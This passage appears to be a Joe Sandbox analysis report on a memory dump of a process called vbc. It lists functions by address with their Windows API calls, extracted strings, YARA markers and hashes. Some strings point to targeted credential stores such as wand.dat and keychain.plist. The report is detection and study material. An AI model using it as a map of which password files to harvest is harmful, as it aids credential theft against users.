                                                                                                              • API ID: memcpywcslen$HandleModulememsetwcscpy$FileLoadNameOpenString_snwprintf
                                                                                                              • String ID: *.*$dat$wand.dat
                                                                                                              • API String ID: 3589925243-1828844352
                                                                                                              • Opcode ID: ee95740454303ceeab932a838ec3e971a5e4e933b383f4235399895267209d19
                                                                                                              • Instruction ID: 6d0f55f818233349c8d1636aac4371a0276c995c789a620d4a51b657e5e4e923
                                                                                                              • Opcode Fuzzy Hash: ee95740454303ceeab932a838ec3e971a5e4e933b383f4235399895267209d19
                                                                                                              • Instruction Fuzzy Hash: 6F419971A04206AFDB14EF61D885AAE77B4FF40314F10C42BFA05A71C2EF79A9958BD4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040CBC1 Relevance: 6.1, APIs: 4, Instructions: 106COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 0040B1B3: ??2@YAPAXI@Z.MSVCRT ref: 0040B1D4
                                                                                                                • Part of subcall function 0040B1B3: ??3@YAXPAX@Z.MSVCRT ref: 0040B29B
                                                                                                              • wcslen.MSVCRT ref: 0040CBEF
                                                                                                              • _wtoi.MSVCRT ref: 0040CBFB
                                                                                                              • _wcsicmp.MSVCRT ref: 0040CC49
                                                                                                              • _wcsicmp.MSVCRT ref: 0040CC5A
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _wcsicmp$??2@??3@_wtoiwcslen
                                                                                                              • String ID:
                                                                                                              • API String ID: 1549203181-0
                                                                                                              • Opcode ID: 567ae35796e479033978641934fe8efa79e81af9abf3b8ba23fb9af2cd80c235
                                                                                                              • Instruction ID: 2e88af878a7a0ebae712eab1be6a0374a06ab0ac9bbd2c3eb3becf244d067ed8
                                                                                                              • Opcode Fuzzy Hash: 567ae35796e479033978641934fe8efa79e81af9abf3b8ba23fb9af2cd80c235
                                                                                                              • Instruction Fuzzy Hash: C3416D31900204EBEF21DF59C5C4A9DBBB4EF45319F1546BAEC09EB3A6D638D940CB58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E51C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 67COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy
                                                                                                              • String ID: @|=D
                                                                                                              • API String ID: 3510742995-4242725666
                                                                                                              • Opcode ID: df00fe4d456d847bcc816d9924c913a63d4017986857a83741e135789728a0a6
                                                                                                              • Instruction ID: e04d1c669876fac24280ac48723ffca9e388da4b41f072ca806e7767fffd92f4
                                                                                                              • Opcode Fuzzy Hash: df00fe4d456d847bcc816d9924c913a63d4017986857a83741e135789728a0a6
                                                                                                              • Instruction Fuzzy Hash: 19113BF29003047BDB348E66DC84C5A77A8EB603987000E3EF90696291F675DF69C6D8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00412D4A Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 65COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset
                                                                                                              • String ID: -+A$-+A$Y,A
                                                                                                              • API String ID: 2221118986-4154596189
                                                                                                              • Opcode ID: e10b50a88832c8eca0fe984cc6704273a4110daab6733b6ac7d2fab50901f5f0
                                                                                                              • Instruction ID: 1dfdef816599cc938eba6c7f1cf8632c899ce6bbbbec6bb0dc4dd89a5a59c02f
                                                                                                              • Opcode Fuzzy Hash: e10b50a88832c8eca0fe984cc6704273a4110daab6733b6ac7d2fab50901f5f0
                                                                                                              • Instruction Fuzzy Hash: 482156799417008FD3268F0AFE0565AB7E5FBE2702724413FE201D62B2D7B4489A8F8C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004084EE Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@??3@memcpymemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 1865533344-0
                                                                                                              • Opcode ID: 006f3b584c6a23bdda7a4d338d7a1bb9511f2f472f5785237822146c56e0ee29
                                                                                                              • Instruction ID: d20edd04bd2483e58964879576c48f2ebc5a647496c0cba51e85d391a6ad2c86
                                                                                                              • Opcode Fuzzy Hash: 006f3b584c6a23bdda7a4d338d7a1bb9511f2f472f5785237822146c56e0ee29
                                                                                                              • Instruction Fuzzy Hash: 0D118C71204601AFD328DF2DCA91A26F7E5FFD8340B60892EE4DAC7385EA75E801CB14
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411A90 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00411ABC
                                                                                                                • Part of subcall function 00407BF7: _snwprintf.MSVCRT ref: 00407C3C
                                                                                                                • Part of subcall function 00407BF7: memcpy.MSVCRT ref: 00407C4C
                                                                                                              • WritePrivateProfileStringW.KERNEL32 ref: 00411AE5
                                                                                                              • memset.MSVCRT ref: 00411AEF
                                                                                                              • GetPrivateProfileStringW.KERNEL32(?,?,Function_000434FC,?,00002000,?), ref: 00411B11
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
                                                                                                              • String ID:
                                                                                                              • API String ID: 1127616056-0
                                                                                                              • Opcode ID: d6b06db8244673818a3f3970d82af9b7ba7535b9122898fd49e4c505e6d5cf51
                                                                                                              • Instruction ID: 7dd1a1e3bfb09d1cc1018fb107044e1a6d1141f919409e292c6c821828e7f11b
                                                                                                              • Opcode Fuzzy Hash: d6b06db8244673818a3f3970d82af9b7ba7535b9122898fd49e4c505e6d5cf51
                                                                                                              • Instruction Fuzzy Hash: 48118271500119BFEF11AF61DD02EDE7BB9EF04741F100066FF05B2060E675AA608BAD
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004123CC Relevance: 6.1, APIs: 4, Instructions: 53COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • SHGetMalloc.SHELL32(?), ref: 004123DC
                                                                                                              • SHBrowseForFolderW.SHELL32(?), ref: 0041240E
                                                                                                              • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00412422
                                                                                                              • wcscpy.MSVCRT ref: 00412435
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: BrowseFolderFromListMallocPathwcscpy
                                                                                                              • String ID:
                                                                                                              • API String ID: 3917621476-0
                                                                                                              • Opcode ID: 9e530e736623199f8d1c4572649b675cce8d33ce20fed77073f00f2ac51ce3c2
                                                                                                              • Instruction ID: 5cda3e6a61a15ee9057d47663b3b2e0c0e874c437a77379260a47c7555d96391
                                                                                                              • Opcode Fuzzy Hash: 9e530e736623199f8d1c4572649b675cce8d33ce20fed77073f00f2ac51ce3c2
                                                                                                              • Instruction Fuzzy Hash: C5110CB5A00208AFDB00DFA9D9889EEB7F8FF49714F10406AE905E7200D779EB45CB64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0042D603 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 52COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy$memset
                                                                                                              • String ID: sqlite_master
                                                                                                              • API String ID: 438689982-3163232059
                                                                                                              • Opcode ID: cbab1ddc9ac3410ad1cf84db35b40c80d29ec42151ab6fd04210e0215871e9bd
                                                                                                              • Instruction ID: ee6e5cfbbe52718914f41d47f1c84030a85cc49ac4fd556a51d86816da10b362
                                                                                                              • Opcode Fuzzy Hash: cbab1ddc9ac3410ad1cf84db35b40c80d29ec42151ab6fd04210e0215871e9bd
                                                                                                              • Instruction Fuzzy Hash: 6901B972900218BAEB11EFB18D42FDDB77DFF04315F50405AF60462142D77A9B15C7A4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040CECE Relevance: 6.0, APIs: 4, Instructions: 50windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00409FF5: GetModuleHandleW.KERNEL32(00000000,?,?,0040B09A,?,0040E241,00000000,00000000,?), ref: 0040A034
                                                                                                                • Part of subcall function 00409FF5: LoadStringW.USER32(00000000,00000007,00000FFF,?), ref: 0040A0CD
                                                                                                                • Part of subcall function 00409FF5: memcpy.MSVCRT ref: 0040A10D
                                                                                                              • _snwprintf.MSVCRT ref: 0040CEFB
                                                                                                              • SendMessageW.USER32(?,0000040B,00000000,?), ref: 0040CF60
                                                                                                                • Part of subcall function 00409FF5: wcscpy.MSVCRT ref: 0040A076
                                                                                                                • Part of subcall function 00409FF5: wcslen.MSVCRT ref: 0040A094
                                                                                                                • Part of subcall function 00409FF5: GetModuleHandleW.KERNEL32(00000000,?,?,?,0040B09A,?,0040E241,00000000,00000000,?), ref: 0040A0A2
                                                                                                              • _snwprintf.MSVCRT ref: 0040CF26
                                                                                                              • wcscat.MSVCRT ref: 0040CF39
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: HandleModule_snwprintf$LoadMessageSendStringmemcpywcscatwcscpywcslen
                                                                                                              • String ID:
                                                                                                              • API String ID: 822687973-0
                                                                                                              • Opcode ID: da7172e30ee21136588dfdb1db0da8cff5898300858bdeb9120db96eb62abdf4
                                                                                                              • Instruction ID: 10942a5e8a652da15fc5691646fc128facbf295aae85401a998ce48512d7e6da
                                                                                                              • Opcode Fuzzy Hash: da7172e30ee21136588dfdb1db0da8cff5898300858bdeb9120db96eb62abdf4
                                                                                                              • Instruction Fuzzy Hash: 8F0184B19403057AE720E775DC8AFBB73ACAF40709F04046AB719F21C3DA79A9454A6D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00414C63 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,74EC18FE,?,00414D8E,?), ref: 00414C81
                                                                                                              • malloc.MSVCRT ref: 00414C88
                                                                                                              • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,74EC18FE,?,00414D8E,?), ref: 00414CA7
                                                                                                              • free.MSVCRT(00000000,?,74EC18FE,?,00414D8E,?), ref: 00414CAE
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ByteCharMultiWide$freemalloc
                                                                                                              • String ID:
                                                                                                              • API String ID: 2605342592-0
                                                                                                              • Opcode ID: 1562b6304e5c60342503921195ce0066c0efbc861a8a386339b4f0c24ca6086c
                                                                                                              • Instruction ID: 08e12ed7d8240a3e2c5be9bdce3f46534c50a62d4f36ceba048af803e5c5c189
                                                                                                              • Opcode Fuzzy Hash: 1562b6304e5c60342503921195ce0066c0efbc861a8a386339b4f0c24ca6086c
                                                                                                              • Instruction Fuzzy Hash: CBF0E9B260A21D7E76006FB59CC0C3B7B9CD7863FDB21072FF510A2180F9659C0116B5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041538D Relevance: 6.0, APIs: 4, Instructions: 45fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004153AA
                                                                                                              • UnlockFileEx.KERNEL32(?,00000000,?,00000000,?), ref: 004153CA
                                                                                                              • LockFileEx.KERNEL32(?,00000001,00000000,?,00000000,?), ref: 004153D6
                                                                                                              • GetLastError.KERNEL32 ref: 004153E4
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: File$ErrorLastLockUnlockmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 3727323765-0
                                                                                                              • Opcode ID: 0612512dbcb25e72840826b50eff5f9555e3619a56fe643e0148ba0517731135
                                                                                                              • Instruction ID: b4c6314a975e1eba122d49f899d78a16df92238a1a9f5a4b2f2908291fae13bb
                                                                                                              • Opcode Fuzzy Hash: 0612512dbcb25e72840826b50eff5f9555e3619a56fe643e0148ba0517731135
                                                                                                              • Instruction Fuzzy Hash: 7201D131100608FFDB219FA4EC848EBBBB8FB80785F20442AF912D6050D6B09A44CF25
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00401B06 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 45COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00401B27
                                                                                                                • Part of subcall function 00412270: SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 004122AA
                                                                                                              • wcslen.MSVCRT ref: 00401B40
                                                                                                              • wcslen.MSVCRT ref: 00401B4E
                                                                                                                • Part of subcall function 004076A9: wcscpy.MSVCRT ref: 004076B1
                                                                                                                • Part of subcall function 004076A9: wcscat.MSVCRT ref: 004076C0
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcslen$FolderPathSpecialmemsetwcscatwcscpy
                                                                                                              • String ID: Apple Computer\Preferences\keychain.plist
                                                                                                              • API String ID: 3183857889-296063946
                                                                                                              • Opcode ID: 8006b7ae7f5b9b2d5e72903c8d65ba76eb4ffe7052016a765288ea2a00793178
                                                                                                              • Instruction ID: 16ca9930086f175389a7ca6d9dd60f6601f6a2e2e4035c9292d9b79f31a3f5d2
                                                                                                              • Opcode Fuzzy Hash: 8006b7ae7f5b9b2d5e72903c8d65ba76eb4ffe7052016a765288ea2a00793178
                                                                                                              • Instruction Fuzzy Hash: F8F0FE7290531476E720A7559C89FDA736C9F00318F6005B7F514E10C3F77CAA5446AD
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00403081 Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004030A6
                                                                                                              • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 004030C3
                                                                                                              • strlen.MSVCRT ref: 004030D5
                                                                                                              • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 004030E6
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ByteCharFileMultiWideWritememsetstrlen
                                                                                                              • String ID:
                                                                                                              • API String ID: 2754987064-0
                                                                                                              • Opcode ID: c176ff0dcd1864958a99801ca3c2895d6322cf952761f758445de8014ee40b91
                                                                                                              • Instruction ID: e51875297eda531c80c3ec5ec415ee795d437164a5b9689062039e3667910632
                                                                                                              • Opcode Fuzzy Hash: c176ff0dcd1864958a99801ca3c2895d6322cf952761f758445de8014ee40b91
                                                                                                              • Instruction Fuzzy Hash: 56F04FB680022CBEFB15AB949DC5DEB776CDB04254F0001A2B709E2041E5749F448B78
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040BA53 Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040BA78
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000001,000000FF,?,00001FFF,00000000,00000000,00000001,00443980,00000000,00000000,00000000,?,00000000,00000000), ref: 0040BA91
                                                                                                              • strlen.MSVCRT ref: 0040BAA3
                                                                                                              • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040BAB4
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ByteCharFileMultiWideWritememsetstrlen
                                                                                                              • String ID:
                                                                                                              • API String ID: 2754987064-0
                                                                                                              • Opcode ID: 75b273bda8818eb1e049dc1d4f8bf93ad7451d7bf5c27d1061f7569d94d81c1b
                                                                                                              • Instruction ID: f1b04ddda804f0d23e85d9b3a1a681265272c1a7bd8491b11875ee0cd1c6d5d4
                                                                                                              • Opcode Fuzzy Hash: 75b273bda8818eb1e049dc1d4f8bf93ad7451d7bf5c27d1061f7569d94d81c1b
                                                                                                              • Instruction Fuzzy Hash: 7CF06DB780022CBEFB059B94DDC9DEB77ACDB04258F0001A2B709E2042E6749F44CB78
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041176D Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 004076CD: memset.MSVCRT ref: 004076EC
                                                                                                                • Part of subcall function 004076CD: GetClassNameW.USER32(?,00000000,000000FF), ref: 00407703
                                                                                                                • Part of subcall function 004076CD: _wcsicmp.MSVCRT ref: 00407715
                                                                                                              • SetBkMode.GDI32(?,00000001), ref: 00411794
                                                                                                              • SetBkColor.GDI32(?,00FFFFFF), ref: 004117A2
                                                                                                              • SetTextColor.GDI32(?,00C00000), ref: 004117B0
                                                                                                              • GetStockObject.GDI32(00000000), ref: 004117B8
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Color$ClassModeNameObjectStockText_wcsicmpmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 764393265-0
                                                                                                              • Opcode ID: 5fbb731d4b6b530c812bc277fef4d25e3eb5586c38ca31f5bfd49ebc1fc19f48
                                                                                                              • Instruction ID: 4524e9a356975b07e10c0673c8b36924071ef161512cc5bea393be377801c3c3
                                                                                                              • Opcode Fuzzy Hash: 5fbb731d4b6b530c812bc277fef4d25e3eb5586c38ca31f5bfd49ebc1fc19f48
                                                                                                              • Instruction Fuzzy Hash: 9AF0A435100209BBDF112F64DC05BDD3F61AF05B25F104636FA25541F5CF769990D648
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040FA51 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy$DialogHandleModuleParam
                                                                                                              • String ID:
                                                                                                              • API String ID: 1386444988-0
                                                                                                              • Opcode ID: 5af77e421d670d3e9d53a45b82afc890927493f23d8260cf4e85c54301f9f1bc
                                                                                                              • Instruction ID: 350a086b8d7ad7ad16c9f4c49a9849c7d3de4f0e2d0f3119e9b48998a0ebe44a
                                                                                                              • Opcode Fuzzy Hash: 5af77e421d670d3e9d53a45b82afc890927493f23d8260cf4e85c54301f9f1bc
                                                                                                              • Instruction Fuzzy Hash: 49F0A731680310BBEB70AFA4BD4AF163A919705F57F20043AF644A60E2C7B585558B9D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004048C7 Relevance: 6.0, APIs: 4, Instructions: 30COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetDlgItem.USER32(?,000003F6), ref: 004048DE
                                                                                                                • Part of subcall function 00412455: LoadLibraryW.KERNEL32(shlwapi.dll,754B375A,?,004048E6,00000000), ref: 0041245E
                                                                                                                • Part of subcall function 00412455: GetProcAddress.KERNEL32(00000000,SHAutoComplete,?,004048E6,00000000), ref: 0041246C
                                                                                                                • Part of subcall function 00412455: FreeLibrary.KERNEL32(00000000,?,004048E6,00000000), ref: 00412484
                                                                                                              • GetDlgItem.USER32(?,00000000), ref: 004048F0
                                                                                                              • GetDlgItem.USER32(?,00000000), ref: 00404902
                                                                                                              • GetDlgItem.USER32(?,00000000), ref: 00404914
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Item$Library$AddressFreeLoadProc
                                                                                                              • String ID:
                                                                                                              • API String ID: 2406072140-0
                                                                                                              • Opcode ID: a8f7eca7071bb80bc984f3ec153cc5aff345bc84215bcc68ba7b850d09515bab
                                                                                                              • Instruction ID: 27d5e7a410d711f85fb169ee5f4284aad0304eb1bf7711d039073b83f91ac3c5
                                                                                                              • Opcode Fuzzy Hash: a8f7eca7071bb80bc984f3ec153cc5aff345bc84215bcc68ba7b850d09515bab
                                                                                                              • Instruction Fuzzy Hash: 33F01CB18043026BCB313F72DC09D6FBAADEF84310B010D2EA1D1D61A1CFBE94618A98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040DA3A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • SendMessageW.USER32(?,00000010,00000000,00000000), ref: 0040DA6F
                                                                                                              • InvalidateRect.USER32(?,00000000,00000000), ref: 0040DABB
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: InvalidateMessageRectSend
                                                                                                              • String ID: <M@
                                                                                                              • API String ID: 909852535-3778786622
                                                                                                              • Opcode ID: 34262e1ccb1ccbcc0d13218f904e640cd746ad35dcac150ad02d22c2cfc9d8bc
                                                                                                              • Instruction ID: 05eea1ce1b03382e5db893e26ff0cd35ef39184770bc15fe2d13ad66f6086966
                                                                                                              • Opcode Fuzzy Hash: 34262e1ccb1ccbcc0d13218f904e640cd746ad35dcac150ad02d22c2cfc9d8bc
                                                                                                              • Instruction Fuzzy Hash: 89518430E003049ADB20AFA5C845F9EB3A5AF44324F51853BF4197B1E2CAB99D89CB5D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040BABE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • wcschr.MSVCRT ref: 0040BB00
                                                                                                              • wcschr.MSVCRT ref: 0040BB0E
                                                                                                                • Part of subcall function 004080BF: wcslen.MSVCRT ref: 004080DB
                                                                                                                • Part of subcall function 004080BF: memcpy.MSVCRT ref: 004080FE
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcschr$memcpywcslen
                                                                                                              • String ID: "
                                                                                                              • API String ID: 1983396471-123907689
                                                                                                              • Opcode ID: 8e9dacec36b22f36b3d6a2c9acf4b3c337cfe9fd3fa69281ad6b0cf09b24f830
                                                                                                              • Instruction ID: 425732c6536ade4c189e7d45363e94d8349111ce0189a23fa1b0a907d348dab1
                                                                                                              • Opcode Fuzzy Hash: 8e9dacec36b22f36b3d6a2c9acf4b3c337cfe9fd3fa69281ad6b0cf09b24f830
                                                                                                              • Instruction Fuzzy Hash: D2317E31904204ABDF04EFA5C8419EEB7F8EF44364B20816BE855B72D5DB78AA41CADC
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040928C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00407BD1: SetFilePointer.KERNEL32(00409553,?,00000000,00000000,?,0040935E,00000000,00000000,?,00000020,?,004094E9,?,?,00409553,00000000), ref: 00407BDE
                                                                                                              • _memicmp.MSVCRT ref: 004092A6
                                                                                                              • memcpy.MSVCRT ref: 004092BD
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FilePointer_memicmpmemcpy
                                                                                                              • String ID: URL
                                                                                                              • API String ID: 2108176848-3574463123
                                                                                                              • Opcode ID: cd6c5101a0353fed1380e8074d20d0c9319d1f79348dd7d2e07b117509aaf2a7
                                                                                                              • Instruction ID: 33b3fc867a4e2474f07ea88972ed825a8fcb80c5477311fdb059a6d734a7dbfa
                                                                                                              • Opcode Fuzzy Hash: cd6c5101a0353fed1380e8074d20d0c9319d1f79348dd7d2e07b117509aaf2a7
                                                                                                              • Instruction Fuzzy Hash: 8411A031604208BBEB11DF29CC05F5F7BA8AF85348F054066F904AB2D2E775EE10CBA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

